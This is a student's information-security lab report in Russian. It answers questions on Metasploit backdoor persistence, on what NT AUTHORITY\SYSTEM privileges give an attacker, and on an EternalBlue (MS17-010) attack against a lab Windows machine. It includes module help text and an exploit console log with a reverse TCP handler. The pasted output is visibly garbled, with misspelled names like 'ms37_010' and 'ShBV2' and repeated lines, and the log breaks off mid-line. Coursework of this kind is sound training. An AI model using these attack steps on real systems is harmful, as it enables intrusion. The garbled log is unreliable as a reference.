Выполнил Мешечкин Д. Инфобез-2837 (Ранее 2345)

Задание 1: Изучить задание 4. Почему в нем не получилось создать сценарий автозапуска бэкдора с правами SYSTEM?

```
Merlyn drforbin Cousins <drforbin6@gmail.com>
Compatible session types:
Meterpreter
              файл бэкдора надо создать заранее
Basic options:
         Current Setting Required Description
Name
REXEPATH
                               The remote executable to upload and execute.
          путь
SESSION
                               The session to run this module on.
                       yes
                                Startup type for the persistent payloa (Accepted: USER, SYSTEM, SERVICE)
STARTUP
                 уровень привилегий
escription:
```

Бэкдор запущен под правами пользователя USER. USER создать сценарий только в рамках своих прав. Системные права ему не доступны

Задание 2: Какие возможности дает злоумышленнику повышение привилегий в Windows до уровня NT AUTHORITY\SYSTEM? Ответ обосновать практическими примерами с использованием MSF.

Возможен захват всех credential, не только локальных, но и доменных.

Задание 3: Проверить систему на базе ОС Windows на уязвимости, которые могут привести к атакам WannaCRY и подобного вредоносного ПО. Если система уязвима, при помощи MSF продемонстрируйте возможные векторы атак с использованием данной уязвимости.

Продемонстрировать возможные векторы не представляется возможным – они ограничены только фантазией, ведь получен доступ к шеллу с системными правами

```
msf exploit(windows/smb/ms37_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.56.11:4444

[*] 192.168.56.12:445 - Connecting to target for exploitation.

[*] 192.168.56.12:445 - Connecting extablished for exploitation.

[*] 192.168.56.12:445 - Target OS selected valid for OS indicated by SMB reply

[*] 192.168.56.12:445 - ORDE raw buffer dumy (38 bytes)

[*] 192.168.56.12:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service

[*] 192.168.56.12:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service

[*] 192.168.56.12:445 - 1arget arch selected valid for arch indicated by DCE/RPC reply

[*] 192.168.56.12:445 - Target arch selected valid for arch indicated by DCE/RPC reply

[*] 192.168.56.12:445 - Sending all but last fragment of exploit packet

[*] 192.168.56.12:445 - Sending all but last fragment of exploit packet

[*] 192.168.56.12:445 - Sending ShBV2 buffers

[*] 192.168.56.12:445 - Sending ShBV2 buffers

[*] 192.168.56.12:445 - Sending Inal ShBV2 buffers

[*] 192.168
```